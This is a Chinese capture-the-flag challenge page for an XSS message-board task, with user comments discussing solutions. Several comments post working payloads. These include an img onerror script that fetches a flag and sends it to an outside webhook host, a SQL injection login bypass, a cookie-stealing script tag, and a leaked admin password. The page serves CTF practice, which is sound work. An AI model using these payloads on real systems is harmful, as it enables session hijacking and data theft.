留言板WEB 未解决

分数: 10 金币: 3
题目作者: harry
一　　血: ꧁༺༽༾ཊ彪ཏ༿༼༻꧂
一血奖励: 5金币
解　　决: 3446
提　　示: 题目无需登录后台！需要xss平台接收flag
描　　述:
http协议需要http协议的xss平台
...
登录回复
评论
追风的牛牛 3天前
举报

笑死了,他把db那个数据库路径删除了

回复 0
song..22 2月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 0
song..22 2月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 1
song..22 2月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 0
Gcysnd 2月前
举报

挺容易，挖到admin后台/admin.php用1' or '1' = '1' --万能用户名登录后发现存在html注入点，于是聊天室发送<script>alert(cookie)</scirpt>找到flag

回复 0
xxsko 2月前
举报

万能用户名你可以?我用你这个也不行1' or '1' = '1' --万能用户名

回复 0
2333m 3月前
举报

触发xss需要登录后台/admin.php， admin/011be4d65feac1a8 （通过翻评论区找到的，据说是dirsearch跑出来admin.php和db.sql,但是我没找到）

回复 0
YS_JW 3月前
举报

我在img图片位置直接插入http://{ceye平台}/?cookie='+document.cookie+'，ceye那边有回显，但是cookie没有被带出来，直接以?cookie=\%27+document.cookie+\%27形式返回了，去掉'后也是直接以document.cookie字符返回，这是为啥哦，问ai也没问出来原因

回复 0
BLX123 7月前
举报

想用python的h（ttp）协议来接收xss，自身得是一个公网IP反弹才能定位到自己

回复 0
网恋秀牛子被录屏导致自卑 7月前
举报

ceye，xsspt，xss.aq要么收不到要么收费，我用的是xss.report，可以收到，payload很多，界面酷炫，点右边的爬虫图标就能看到详情，cookie里面有flag

回复 1
igrazee 8月前
举报

flag{*******}

回复 0

WriteUp

image
丶我亚索贼六

5 金币

立即查看

评分(19)

解题动态

wangjing6715 攻破了该题 50分钟前
zrlht 攻破了该题 16小时前
lxyooom 攻破了该题 1天前
追风的牛牛 攻破了该题 3天前
hdcc1 攻破了该题 3天前
ly89130 攻破了该题 4天前
gr816ox 攻破了该题 4天前
1781****263 攻破了该题 6天前
abc114514 攻破了该题 7天前
shylock 攻破了该题 7天前
天天1 攻破了该题 7天前
浩气英风 攻破了该题 8天前
wlk 攻破了该题 9天前
rudy1899 攻破了该题 9天前
xiaofangni 攻破了该题 10天前
小鱼牌西红柿 攻破了该题 10天前
ailiyishen 攻破了该题 12天前
村头二傻子 攻破了该题 12天前
2958285448 攻破了该题 13天前
zhzuo 攻破了该题 14天前
问题反馈